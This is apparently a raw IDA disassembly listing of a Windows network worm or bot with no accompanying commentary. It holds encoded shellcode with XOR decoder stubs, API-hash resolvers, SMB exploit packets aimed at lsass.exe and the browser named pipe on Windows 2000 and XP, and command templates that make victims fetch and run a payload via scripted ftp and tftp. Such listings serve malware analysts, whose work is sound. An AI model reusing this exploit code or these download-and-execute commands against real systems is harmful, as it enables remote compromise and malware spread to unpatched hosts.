		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_426BF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------

loc_426D30:				; DATA XREF: sub_40321F+157o
					; sub_40321F+214o
		jmp	short loc_426D42

; =============== S U B	R O U T	I N E =======================================



sub_426D32	proc near		; CODE XREF: sub_426D32:loc_426D42p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh

loc_426D3A:				; CODE XREF: sub_426D32+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_426D3A
		jmp	short loc_426D47
; ---------------------------------------------------------------------------

loc_426D42:				; CODE XREF: .data:loc_426D30j
		call	sub_426D32

loc_426D47:				; CODE XREF: sub_426D32+Ej
		jo	short near ptr dword_426CC0+1Eh
		cwde
		cdq
		cdq
		retn
sub_426D32	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_426DE0	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40321F+106o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_426EC8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .data:004036E5o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_426F58	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .data:00403711o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 2 dup(0)
dword_427008	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .data:00403738o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4270E8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40321F+59o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40321F+8Bo
		unicode	0, <C$>,0
a?????		db '?????',0
		align 10h
dword_427150	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40321F+2ACo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 2 dup(0)
dword_4271C0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40321F+2D3o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_427268	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40321F+3B2o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4272E8	dd offset loc_401493+2	; DATA XREF: sub_40321F+3E0o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	2 dup(0)
dword_427380	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40321F+308o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 2 dup(0)
dword_4273F0	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40321F+333o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_427468	dd 0			; DATA XREF: sub_40321F+361o
		dd offset loc_40A896+4
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A896+4
		dd 1, 0
		dd 1, 0
		dd offset loc_40A896+4
		dd 1, 0
		dd 1, 0
		dd offset loc_40A896+4
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_427528	dd 1004600h		; DATA XREF: sub_40321F+141r
					; sub_40321F+247r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_4275E0	dd 0A0D7325h, 0		; DATA XREF: sub_4030BE+102o
					; sub_404FF8+DFo ...
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4030BE+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030BE+97o
; ---------------------------------------------------------------------------

loc_427668:				; DATA XREF: sub_40321F+178o
		jmp	short loc_427670
; ---------------------------------------------------------------------------
		jmp	short loc_427672
; ---------------------------------------------------------------------------
		align 10h

loc_427670:				; CODE XREF: .data:loc_427668j
					; DATA XREF: sub_40321F+27o ...
		pop	esp
		pop	esp

loc_427672:				; CODE XREF: .data:0042766Aj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_42767C	dd 1CEC8166h		; DATA XREF: sub_40321F+Dr
dword_427680	dd 0E4FF07h		; DATA XREF: sub_40321F+16r
		align 8
byte_427688	db 90h			; DATA XREF: sub_403A59+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset word_429042
		align 4
dword_427694	dd 10FF8h, 0		; DATA XREF: sub_403A59+6Ao
dword_42769C	dd 10FF8h		; DATA XREF: sub_403A59+79o
dword_4276A0	dd 7FFDF020h, 0		; DATA XREF: sub_403A59+162o
dword_4276A8	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_403E73+78o
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_427730	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_403E73+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_427760	dd 0			; DATA XREF: sub_403E73+44o
		dd 800000D4h, 2	dup(0)
unk_427770	db  81h	; 		; DATA XREF: sub_403F52+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_4277C0	db 41h			; DATA XREF: sub_403FF0+108r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_427808	proc near		; DATA XREF: .data:004042CAo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_427904
		push	dword ptr [esi]
		push	63D61209h
		call	sub_42791A
		mov	[esi+8], eax
		call	sub_4278CD
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_42791A
		mov	[esi+0Ch], eax
		call	sub_42787F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_42791A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_427808	endp


; =============== S U B	R O U T	I N E =======================================



sub_42787F	proc near		; CODE XREF: sub_427808+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4278A8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_42787F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4278A8	proc near		; CODE XREF: sub_42787F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_4278B7:				; CODE XREF: sub_4278A8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4278C4
		inc	ebx
		jmp	short loc_4278B7
; ---------------------------------------------------------------------------

loc_4278C4:				; CODE XREF: sub_4278A8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4278A8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4278CD	proc near		; CODE XREF: sub_427808+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_4278E5:				; CODE XREF: sub_4278CD+1Ej
		cmp	[ecx], ebx
		jz	short loc_4278ED
		mov	ecx, [ecx]
		jmp	short loc_4278E5
; ---------------------------------------------------------------------------

loc_4278ED:				; CODE XREF: sub_4278CD+1Aj
		mov	edx, edi

loc_4278EF:				; CODE XREF: sub_4278CD+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4278F9
		mov	edx, [edx+4]
		jmp	short loc_4278EF
; ---------------------------------------------------------------------------

loc_4278F9:				; CODE XREF: sub_4278CD+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4278CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_427904	proc near		; CODE XREF: sub_427808+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_427904	endp


; =============== S U B	R O U T	I N E =======================================



sub_42791A	proc near		; CODE XREF: sub_427808+16p
					; sub_427808+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_427930:				; CODE XREF: sub_42791A+33j
		jecxz	short loc_42796A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_42793D:				; CODE XREF: sub_42791A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_427949
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_42793D
; ---------------------------------------------------------------------------

loc_427949:				; CODE XREF: sub_42791A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_427930
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_42796A:				; CODE XREF: sub_42791A:loc_427930j
					; sub_42791A:loc_42796Aj
		jmp	short loc_42796A
sub_42791A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_427970	proc near		; DATA XREF: .data:0040427Ao

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_4279C2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_42798D:				; CODE XREF: sub_427970+38j
		jecxz	short loc_4279BD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_427998:				; CODE XREF: sub_427970+32j
		lodsb
		test	al, al
		jz	short loc_4279A4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_427998
; ---------------------------------------------------------------------------

loc_4279A4:				; CODE XREF: sub_427970+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_42798D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_4279BD:				; CODE XREF: sub_427970:loc_42798Dj
		mov	[esp+arg_0], ebx
		retn
sub_427970	endp


; =============== S U B	R O U T	I N E =======================================



sub_4279C2	proc near		; CODE XREF: sub_427970+7p

; FUNCTION CHUNK AT 004279FA SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_4279DB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_4279E6
; ---------------------------------------------------------------------------

loc_4279DB:				; CODE XREF: sub_4279C2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_4279E6:				; CODE XREF: sub_4279C2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4279FA
sub_4279C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4279ED	proc near		; CODE XREF: sub_4279C2:loc_4279FAp
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_4279ED	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4279C2

loc_4279FA:				; CODE XREF: sub_4279C2+29j
		call	sub_4279ED

loc_4279FF:				; DATA XREF: sub_4039FE+1Bo
					; sub_40EC43+7CDo
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_4279C2
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_427A04	dd 60h			; DATA XREF: sub_403A59+320o
dword_427A08	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A59+2F5o
dword_427A14	dd 30h			; DATA XREF: sub_403A59+2CAo
					; .data:0042ED60o
dword_427A18	dd 0A1h			; DATA XREF: sub_403A59+29Fo
dword_427A1C	dd 3			; DATA XREF: sub_403A59+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_403A59+153o
		align 4

loc_427A28:				; DATA XREF: sub_403A59+E8o
		jmp	short near ptr dword_427A30
; ---------------------------------------------------------------------------
		align 10h
dword_427A30	dd 2 dup(0)		; CODE XREF: .data:loc_427A28j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: .data:0040429Fo
					; sub_404DFA+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
		align 10h
dword_427AB0	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_404904+2A6o
; ---------------------------------------------------------------------------

loc_427ABC:				; CODE XREF: .data:00427AC6j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_427ABC
		inc	edi
		jz	short loc_427B03
		and	eax, 952CE753h
		inc	esp
		jle	short loc_427B2B
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_427B03:				; CODE XREF: .data:00427AC9j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_427B62+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_427B28:				; CODE XREF: .data:00427B55j
		xor	[esi-25h], bl

loc_427B2B:				; CODE XREF: .data:00427AD1j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_427B44:				; CODE XREF: .data:00427B77j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_427B28
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_427B62:				; CODE XREF: .data:00427B09j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_427BEE
		jo	short loc_427B44
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_427B85+1
		add	bl, [edi]

loc_427B85:				; CODE XREF: .data:00427B81j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_427B9A+2
		cmp	ch, bh
		dec	edx

loc_427B9A:				; CODE XREF: .data:00427B95j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_427BEE:				; CODE XREF: .data:00427B75j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_427C74
		sub	al, 0BCh
		jmp	near ptr 54447FE2h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_427C10	dd 0EFFFC481h, 44FFFFh,	427C5Ch	; DATA XREF: sub_404904+28Do
dword_427C1C	dd 42Ah			; DATA XREF: sub_404904+236r
dword_427C20	dd 3E8h			; DATA XREF: sub_404904+2B1r
dword_427C24	dd 258h			; DATA XREF: sub_404904+283r
byte_427C28	db 0			; DATA XREF: sub_404904+1E8r
					; sub_404904+2BFr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_427C40	dd 20804h		; DATA XREF: sub_404808r
					; sub_404904+2D8o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .data:00427C2Co
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------

loc_427C74:				; CODE XREF: .data:00427BF8j
		push	eax
		xor	al, 29h

loc_427C77:				; DATA XREF: sub_404904+20Ao
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_427C80	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_404904+147o
dword_427C94	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: sub_404904+D7o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_404904+7Ao
		align 4
a_:					; DATA XREF: sub_404904+10o
					; sub_4061E4+24Co
		unicode	0, <.>,0
dword_427CC0	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: .data:00404F9Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
